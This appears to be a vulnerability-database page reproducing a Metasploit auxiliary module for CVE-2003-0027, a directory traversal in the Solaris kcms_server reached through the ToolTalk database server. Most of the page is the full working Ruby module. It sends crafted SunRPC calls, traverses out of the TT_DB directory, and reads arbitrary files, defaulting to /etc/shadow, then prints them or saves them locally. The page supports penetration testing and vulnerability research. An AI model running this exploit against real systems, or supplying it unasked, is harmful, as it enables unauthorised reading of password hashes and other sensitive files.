Lucene search
+L

Solaris KCMS + TTDB Arbitrary File Read

🗓️ 22 Jan 2003 00:00:00Reported by vlad902 <[email protected]>, jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 53 Views

This module targets a directory traversal vulnerability in the kcms_server component from the Kodak Color Management System. By utilizing the ToolTalk Database Server's TT_ISBUILD procedure, an attacker can bypass existing directory traversal validation and read arbitrary files. It is tested against Solaris 2.5 - 9 SPARC and x86.Both kcms_server and rpc.ttdbserverd must be running on the target host. The specific path to the file and its content can be disclosed and saved locally

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'English'
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::SunRPC

  def initialize
    super(
      'Name' => 'Solaris KCMS + TTDB Arbitrary File Read',
      'Description' => %q{
          This module targets a directory traversal vulnerability in the
        kcms_server component from the Kodak Color Management System. By
        utilizing the ToolTalk Database Server\'s TT_ISBUILD procedure, an
        attacker can bypass existing directory traversal validation and
        read arbitrary files.

        Vulnerable systems include Solaris 2.5 - 9 SPARC and x86. Both
        kcms_server and rpc.ttdbserverd must be running on the target
        host.
      },
      'Author' => [
        'vlad902 <vlad902[at]gmail.com>', # MSF v2 module
        'jduck' # Ported to MSF v3
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2003-0027'],
        ['OSVDB', '8201'],
        ['BID', '6665'],
        ['URL', 'http://marc.info/?l=bugtraq&m=104326556329850&w=2']
      ],
      # Tested OK against sol8.tor 20100624 -jjd
      'DisclosureDate' => '2003-01-22')

    register_options(
      [
        OptString.new('PATH', [ true, 'Path to the file to disclose, relative to the root dir.', 'etc/shadow']),
        OptString.new('OUTPUTPATH', [ false, 'Local path to save the file contents to', nil ])
      ]
    )
  end

  def run
    # There is a fixed size buffer in use, so make sure we don't exceed it..
    # (NOTE: 24 bytes are reserved for traversal string)
    path = datastore['PATH']
    if (path.length > 1000)
      raise 'File name is too long.'
    end

    print_status('Making request to the ToolTalk Database Server...')

    # Hopefully one of these works ;)
    ttdb_build('/etc/openwin/devdata/profiles/TT_DB/oid_container')
    ttdb_build('/etc/openwin/etc/devdata/TT_DB/oid_container')

    # If not, we'll find out now ...
    print_status('Making open() request to the kcms_server...')
    sunrpc_create('tcp', 100221, 1)
    sunrpc_authunix('localhost', 0, 0, [])

    # Prepare the traversing request for kcms_server
    trav = 'TT_DB/' + ('../' * 5) + path
    buf = Rex::Encoder::XDR.encode(
      [trav, 1024],
      0, # O_RDONLY
      0o755
    ) # mode

    # Make the request
    ret = sunrpc_call(1003, buf)
    ack, fsize, fd = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer)

    if (ack != 0)
      print_error('KCMS open() failed (ack: 0x%x != 0)' % ack)

      if (fsize == 0)
        print_status('File does not exist (or host is patched)')
      end
      return
    end

    # Nice, open succeeded, show the return data
    print_status("fd: #{fd}, file size #{fsize}")

    print_status('Making read() request to the kcms_server...')
    buf = Rex::Encoder::XDR.encode(
      fd,
      0,
      fsize
    )

    ret = sunrpc_call(1005, buf)
    _, data = Rex::Encoder::XDR.decode!(ret, Integer, [Integer])

    # If we got something back...
    if data
      data = data.pack('C*')

      # Store or display the results
      if datastore['OUTPUTPATH']
        fname = datastore['PATH'].gsub(%r{[/\\]}, '_')
        outpath = File.join(datastore['OUTPUTPATH'], fname)
        print_status("Saving contents to #{outpath} ...")
        File.open(outpath, 'wb') do |f|
          f.write(data)
        end
      else
        print_status('File contents:')
        print_status(data.inspect)
      end
    else
      print_error('No data returned!')
    end

    # Close it regardless if it returned anything..
    print_status('Making close() request to the kcms_server...')
    buf = Rex::Encoder::XDR.encode(fd)
    sunrpc_call(1004, buf)

    # done
    sunrpc_destroy
  rescue Timeout::Error, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Rex::Proto::SunRPC::RPCError => e
    print_error(e.to_s)
  rescue ::Rex::Proto::SunRPC::RPCTimeout
    print_warning('Warning: ' + $ERROR_INFO)
    print_warning('Exploit may or may not have succeeded.')
  end

  #
  # Send a TT_ISBUILD request to rpc.ttdbserverd
  #
  def ttdb_build(path)
    sunrpc_create('tcp', 100083, 1)
    sunrpc_authunix('localhost', 0, 0, [])
    msg = Rex::Encoder::XDR.encode(
      [path, 1024],
      path.length,
      1, # KEY (VArray head?)
      2,
      1,
      0, # KEYDESC
      2,
      1,
      # 21 zeros, /KEYDESC, /KEY
      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
      0x10002,
      path.length
    )
    ret = sunrpc_call(3, msg)
    arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer)
    print_status(format("TTDB reply: 0x%<addr>x, #{arr[1]}", addr: arr[0]))
    sunrpc_destroy
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation